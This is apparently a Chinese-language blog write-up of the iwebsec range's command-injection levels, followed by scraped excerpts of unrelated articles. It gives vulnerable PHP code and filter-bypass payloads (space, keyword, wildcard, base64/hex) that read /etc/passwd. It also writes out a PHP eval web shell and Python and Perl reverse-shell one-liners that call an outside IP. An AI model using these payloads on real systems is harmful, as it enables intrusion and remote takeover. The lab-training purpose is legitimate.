命令执行漏洞 | iwebsec
文章目录
- 1 靶场环境
- 2 命令执行漏洞介绍
- 3 靶场练习
- 01-命令执行漏洞
- 02-命令执行漏洞空格绕过
- 03-命令执行漏洞关键命令绕过
- 04-命令执行漏洞通配符绕过
- 05-命令执行漏洞base64编码绕过
- 4 命令执行漏洞危害
- 01-读写系统文件
- 02-执行系统命令
- 03-种植恶意木马
- 04-反弹shell
- python反弹shell
- perl反弹shell
1 靶场环境
这是 iwebsec 靶场,具体搭建过程可以看前面的文章。
2 命令执行漏洞介绍
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞。【摘自《web安全攻防》】
Windows系统支持的管道符:
管道符 | 作用 | 举例 |
---|---|---|
| | 直接执行后面的命令。 | |
|| | 前面执行的命令执行出错才执行后面的语句。 | |
& | 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。) | |
&& | 前面语句为真才能执行后面的语句。 |
Linux系统支持的管道符:
管道符 | 作用 | 举例 |
---|---|---|
| | 显示后面语句的执行结果。 | |
; | 执行完前面的语句再执行后面的。 | |
|| | 前面语句执行错误才执行后面的语句。 | |
& | 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。) | |
&& | 前面的语句为真才能执行后面的语句。 |
3 靶场练习
01-命令执行漏洞
打开靶场,直接测试。使用|
。
使用;
。
使用||
。
使用cat
命令获取文件。
看网页源码,发现cat
到文件源码。
获取/etc/passwd
文件。
命令执行漏洞代码分析
服务端处理 ping ,程序获取GET参数IP,然后拼接到system() 函数中,利用 system() 函数执行ping的功能,但此处没有对参数IP做过滤和检测,导致可以利用管道符执行其他的系统命令。
<?phprequire_once('../header.php');
?><html><head><title>命令执行漏洞</title></head><h2>命令执行漏洞</h2><div class="alert alert-success"><p>/01.php?ip=127.0.0.1 </p></div><body><?phpif(isset($_GET['ip'])){$ip = $_GET['ip'];//用户可以控制system("ping -c 2 ".$ip);//system系统命令,没有限制}else{exit();}
?>
02-命令执行漏洞空格绕过
过滤了空格,可以去掉空格。
管道符两边的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd
,我们可以想办法绕过空格:
-
使用
%09
,%09
是tab键的url编码。
-
使用
<
,<
表示的是输入重定向的意思,就是把<
后面跟的文件取代键盘作为新的输入设备。“命令 < 文件” ,这是将文件作为命令输入。
-
使用
{}
,用,
实现空格可能。
-
使用
${IFS}
-
使用
$IFS$9
源码分析
<?phpif(isset($_GET['ip'])){if (preg_match('/ /', $_GET['ip'])) { //匹配空格die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>
03-命令执行漏洞关键命令绕过
cat
命令的绕过:
- 使用常规绕过
- 非常规操作
其他的试了,不行。我用自己的Linux系统试试:
- 使用符号及拼接:
源码分析
<?phpif(isset($_GET['ip'])){if (preg_match('/cat/', $_GET['ip'])) { //过滤了catdie('error!!!');}else{$ip = $_GET['ip']; }system("ping -c 2 ".$ip);}else{exit();}
?>
04-命令执行漏洞通配符绕过
<?phpif(isset($_GET['ip'])){if (preg_match('/etc|passwd/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip']; }system("ping -c 2 ".$ip);}else{exit();}
?>
看源码只是过滤了/etc/passwd
文件,读取其他文件是没有问题的:
但我就是要读取/etc/passwd
文件呢?
- 可以使用通配符绕过:
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 【百度百科】
- 使用符号及拼接:
05-命令执行漏洞base64编码绕过
直接就可以RCE,看一下源码:
<?phpif(isset($_GET['ip'])){if (preg_match('/id/', $_GET['ip'])) {die('error!!!');}else{$ip = $_GET['ip'];}system("ping -c 2 ".$ip);}else{exit();}
?>
过滤了id
这个关键字,Linux id
命令用于显示用户的ID,以及所属群组的ID。
使用base64编码绕过:
echo aWQ= | base64 -d
第一个例子直接输出为id
,第二个例子加了反引号`
则会执行输出的内容,即执行命令id
。
除了base64,我们可以使用hex编码:
ip=127.0.0.1 | echo "6964" | xxd -r -p | bash
ip=127.0.0.1 | `echo "6964" | xxd -r -p`
第一句直接输出id
,第二句将输出的内容传进bash
执行。也可以不用bash
执行,直接用反引号执行。
读取/etc/passwd
文件:
4 命令执行漏洞危害
以第一关的环境为例,进行下面的实验。
01-读写系统文件
02-执行系统命令
常见linux系统命令大全
使用touch
命令新建一个文件
pwd
查看当前目录的位置
使用find
命令搜索符合条件的文件
显示指定目录下所有目录和文件,包括隐藏文件
03-种植恶意木马
写入一句话木马
?ip=127.0.0.1|echo '<?php @eval($_POST['a']);?>' >2.php
连接一句话木马
用蚁剑连接
04-反弹shell
RCE/命令执行漏洞反弹shell小结。这里使用第三关环境,第一关被我改坏了。
我用bash
反弹,一直写不进去,但是一句话木马又可以写入,按照源码只是对cat
进行过滤而已,应该没有过滤其他东西了。试着把反弹shell逐个拆开写进去:
那应该是不能有&
,所以bash
和php
的反弹shell语句都用不了。而python
的反弹shell语句刚好没有:
python反弹shell
注入点:127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听点:nc -lvp 7777
perl反弹shell
注入点:127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
监听点:nc -lvp 6666
相关文章:
命令执行漏洞 | iwebsec
文章目录1 靶场环境2 命令执行漏洞介绍3 靶场练习01-命令执行漏洞02-命令执行漏洞空格绕过03-命令执行漏洞关键命令绕过04-命令执行漏洞通配符绕过05-命令执行漏洞base64编码绕过4 命令执行漏洞危害01-读写系统文件02-执行系统命令03-种植恶意木马04-反弹shellpython反弹shellp…...
2023.02.26 学习周报
文章目录摘要文献阅读1.题目2.摘要3.介绍4.模型4.1 SESSION-PARALLEL MINI-BATCHES4.2 SAMPLING ON THE OUTPUT4.3 RANKING LOSS5.实验5.1 数据集5.2 验证方式5.3 baselines5.4 实验结果6.结论深度学习元胞自动机1.定义2.构成3.特性4.思想5.统计特征流形学习1.降维2.空间3.距离…...
局域网实现PC、Pad、Android互联
文章目录局域网实现PC、Pad、Android互联一、网络邻居1、 Windows 配置1.1 开启共享功能1.2 设置用户1.3 共享文件夹2、 Pad 连接二、 FTP & HTTP1、 电脑配置1.1 HTTP 服务1.2 FTP 服务2、 连接3、 电脑连接 FTP三、 其他方式局域网实现PC、Pad、Android互联 在我们使用多…...
AC自动机
AC自动机 该模型应用场景是什么样的?假如有一篇很长的文章,然后有一个敏感词表单,请从这篇文章里找出包含了哪些敏感词。即便是用KMP进行快速匹配,那也只能每次遍历整篇文章才能找到一种敏感词,KMP只适用于单一子串匹配…...
git入门
目录 1. git简介 1.1 git是什么 1.2 git与svn的区别 2. github 2.1 创建仓库 2.2 删除仓库 2.3 新建文件及文件夹 3. git的基本操作 3.1 配置账户及邮箱 3.2 git文件状态与工作区域 3.3 常用命令 3.4 克隆(clone) 3.5 查看git仓库的状态 3.…...
RK3568编译Android11和目录讲解
文章目录 前言一、下载android11源码二、环境搭建1.增加交换内存三、编译瑞芯微原厂源码四、目录讲解总结前言 本文记录在Ubuntu18.04中编译Android11,只有编译了源码,后面才能进行驱动的开发,有兴趣的小伙伴可以和我一起学习吧! 提示:以下是本篇文章正文内容,下面案例可…...
java泛型学习篇(二)
java泛型学习篇(二) 1 自定义泛型类 1.1 基本语法 Class 类型 <T,R,M...>{ //成员,其中...代表<>括号里面的参数可以有多个ja }1.2 注意点 1.2.1 属性和方法都是可以使用泛型的 T t;//属性使用泛型,合法public T getT() {return t;} //方法使用泛型,合法 publi…...
Java基础
Java基础Java基础一、课前问答二、概述三、Java的历史四、Java的特点五、计算机执行机制以及Java执行机制5.1 计算机的执行机制5.2 Java的执行机制六、常用DOS命令七、第一个Java程序八、包的使用九、编码规范十、注释Java基础 一、课前问答 1、什么是程序 2、什么是语言 3、什…...
骨骼控制(一)——动画动态节点(AnimDynamics)
文章目录一、引言二、骨骼控制三、UE蓝图中提供的骨骼控制节点——AnimDynamics动画蓝图节点1、什么是AnimDynamics动画蓝图节点①使用盒体计算惯性②使用约束来限制移动2、AnimDynamics节点的几种常用例子①单骨骼模拟②骨骼链模拟 <h2 id1>③群魔乱舞(这是错…...
Linux系统下搭建maven环境
文章目录前述从官网下载安装包安装 maven修改maven配置修改环境变量测试前述 安装 maven 环境前,需要先安装 java 环境,如果没有安装 java 环境,可以参考:https://blog.csdn.net/weixin_45583303/article/details/118631855 从官…...
English Learning - L2 语音作业打卡 Day3 2023.2.23 周四
English Learning - L2 语音作业打卡 Day3 2023.2.23 周四💌 发音小贴士:💌 当日目标音发音规则/技巧:🍭 Part 1【热身练习】🍭 Part2【练习内容】🍭【练习感受】🍓元音[ ɔ: ]&…...
RK3568平台开发系列讲解(驱动基础篇)GIC v3中断控制器
🚀返回专栏总目录 文章目录 一、什么是GIC二、GIC v3中断类型三、GIC v3基本结构3.1、Distributor3.2、CPU interface简介3.3、Redistributor简介3.4、ITS(Interrupt translation service)4、中断状态和处理流程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢ARM多核…...
决策树、随机森林、极端随机树(ERT)
声明:本文仅为个人学习记录所用,参考较多,如有侵权,联系删除 决策树 通俗来说,决策树分类的思想类似于找对象。现想象一个女孩的母亲要给这个女孩介绍男朋友,于是有了下面的对话: 女儿&#x…...
软件测试之因果图法
因果图法 1. 概述 因果图法是一种**利用图解法分析输入条件、输出结果的各种组合情况,**从而设计测试用例的方法. 因果图法适用于有多个输入和多个输出,而且输入和输入之间有相互的组合关系,输入和输出之间有相互的制约和依赖关系. 使用场景和判定表…...
vue中子组件间接修改父组件传递过来的值
一、前言 Vue官方文档Props单向数据流讲解 Vue中遵循单向数据流,所有的 props 都遵循着单向绑定原则,props 因父组件的更新而变化,自然地将新的状态向下流往子组件,而不会逆向传递。这避免了子组件意外修改父组件的状态的情况&a…...
Java I/O
前言 关于IO, 想必你听过很多中I/O方式, 有的是OS视角的, 有的是JDK本身支持的, 有的是纯实现视角。但是作为一个developer, 我希望你能先搞清楚上下文之后, 再去理解内容, 否则容易抬杠。这个上下文有横向和纵向两个维度。纵向维度包括JDK底层, JDK上层包装库, 开发框架(如Ne…...
pytorch学习日记之图片的简单卷积、池化
导入图片并转化为张量 import torch import torch.nn as nn import matplotlib.pyplot as plt import numpy as np from PIL import Image mymi Image.open("pic/123.png") # 读取图像转化为灰度图片转化为numpy数组 myimgray np.array(mymi.convert("L"…...
【java基础】抽象类和抽象方法
文章目录基本介绍抽象类抽象方法使用总结基本介绍 在面向对象的概念中,所有的对象都是通过类来描绘的,但是反过来,并不是所有的类都是用来描绘对象的,如果一个类中没有包含足够的信息来描绘一个具体的对象,这样的类就…...
RDD的内核调度【博学谷学习记录】
RDD的依赖关系RDD的依赖: 指的一个RDD的形成可能是有一个或者多个RDD得出, 此时这个RDD和之前的RDD之间产生依赖关系在Spark中, RDD之间的依赖关系,主要有二种依赖关系:1- 窄依赖:目的: 为了实现并行计算操作, 并且提高容错的能力指的: 一个RDD上的一个分区的数据, 只能完整的交…...
二叉树——二叉搜索树的最小绝对差
二叉搜索树的最小绝对差 链接 给你一个二叉搜索树的根节点 root ,返回 树中任意两不同节点值之间的最小差值 。 差值是一个正数,其数值等于两值之差的绝对值。 示例 1: 输入:root [4,2,6,1,3] 输出:1 示例 2&…...
git的使用(终端输入指令)下
文章目录前言1、git 分支创建分支查看分支切换分支合并分支删除分支2.提交到远程仓库远程提交链接一下自己仓库总结前言 上章链接 :git的使用(终端输入指令)上 我们接着上着来说 上章把 git 的 功能实现了一部分,本章我们接着上文…...
python使用influxdb-client管理InfluxDB的bucket
bucket的概念类似数据库的“库”,同时每个库中的数据都因为存在“时间戳”,每个数据都会有一个对应的时间点 influxdb-client-python官方github页面:https://github.com/influxdata/influxdb-client-python 管理bucket的官方示例࿱…...
【c++】模板2—类模板
文章目录类模板语法类模板与函数模板区别类模板中成员函数常见时机类模板对象做函数参数类模板与继承类模板成员函数类外实现类模板分文件编写类模板与友元类模板语法 类模板作用: 建立一个通用类,类中的成员数据类型可以不具体制定,用一个虚…...
基于SpringCloud的可靠消息最终一致性03:项目骨架代码(下)
上一节把整个项目的演示内容、项目结构、POM文件和配置文件都讲完了,接下来继续。 先安装并启动Nacos,然后在其中建立一个名为xiangwang-payment-dev.yaml的配置文件,内容为: # 指定运行环境 spring:autoconfigure:exclude: com.alibaba.druid.spring.boot.autoconfigure.D…...
linux如何彻底的删除文件
一、使用rm命令删除 直接用rm 先用ls -alt看下文件信息及拥有者等 可以看到拥有者是eve用户,所以在eve用户的终端中rm命令即可, 如果是root或者其他,则优先用root或其他账号进行删除 (base) eveEve:~$ ls -alt a.txt -rw-rw-r-- 1 eve eve …...
数据仓库Hive的安装和部署
1)去apache.hive.org官网下载hive 目前hive主要有三大版本,Hive1.x、Hive2.x、Hive3.x Hive1.x已经2年没有更新了,所以这个版本后续基本不会再维护了,不过这个版本已经迭代了很多年了,也是比较稳定的 Hive2.x最近一直…...
Python调用CANoe常见问题
一、Win32com已经安装成功但是在pycharm中提示错误 No module named win32com.clientPyCharm中出现unresolved reference的解决方法 一直提示需要升级pip版本Pywin32已成功安装,但仍提示没有win32com模块...
一起Talk Android吧(第五百零七回:图片滤镜ImageFilterView)
文章目录背景介绍功能介绍图片滤镜图片圆角图片缩放图片旋转图片平移各位看官们大家好,上一回中咱们说的例子是"如何调整组件在约束布局中的角度",这一回中咱们说的例子是" 图片滤镜ImageFilterView"。闲话休提,言归正转,…...
Java 解释器和即时解释器(JIT)之间的区别
区别是: 翻译 .class (字节码文件) 的粒度和方式不同 解释器是一个逐条解释并执行字节码指令的组件,每次**只翻译一条**指令并执行,然后再翻译下一条指令。 它的翻译粒度是一条指令,而且是按需翻译&#x…...
Acwing 蓝桥杯 第二章 二分与前缀和
今天来补一下之前没写的总结,题是写完了,但是总结没写感觉没什么好总结的啊,就当打卡了789. 数的范围 - AcWing题库思路:一眼二分,典中典先排个序,再用lower_bound和upper_bound维护相同的数的左界和右界就…...
织梦cms手机网站源码/怎么交换友情链接
在ThoughtWorks的日子(第-1天) Posted on 2008-12-07 15:17 勇敢的鸵鸟 阅读(6218) 评论(22) 编辑 收藏 明天就要去报到了。今天仍然很忙,校对那本挨千刀(Google拼音居然没有这个词,山东方言,自己领会吧&a…...
赣州网站建设多少钱/社群推广平台
最近更新的博客 华为od 2023 | 什么是华为od,od 薪资待遇,od机试题清单华为OD机试真题大全,用 Python 解华为机试题 | 机试宝典【华为OD机试】全流程解析+经验分享,题型分享,防作弊指南华为od机试,独家整理 已参加机试人员的实战技巧本篇题解:绘图机器 题目 绘图机器的绘…...
官方网站下载qq音速/市场调研问卷调查怎么做
JAVA—出租车公司租车 样例 题目需求 1.一个人去租车公司租车,车分为轿车、客车、电动车,轿车品牌有宝马(200)、奔驰(300)、奥拓(50)、客车品牌五菱(800)、长…...
安陆网站建设/网站建设品牌公司
【SymPy】(一)SymPy简介 【SymPy】(二)使用SymPy需要避开的坑 【SymPy】(三)基本操作(四)打印 简化 文章目录简化1 simplify2 多项式/有理函数简化2.1 expand2.2 factor2.2.3 colle…...
茂名网站建设方案外包/米拓建站
经纬度计算距离和方位角方位角(azimuthangle):从某点的指北方向线起,依顺时针方向到目标方向线之间的水平夹角,叫方位角。(一)方位角的种类由于每点都有真北、磁北和坐标纵线北三种不同的指北方向线,因此,从某点到某一…...
赣州58同城网/整站seo外包
题目大意: 给你一个N个点的图,求1点到其他每个点最短路权值之和sum1,然后再求反向最短路(其他所有点到1点最短距离)之和sum2。输出sum1sum2 解题思路: 别人说的题意,正好最短路也忘了࿰…...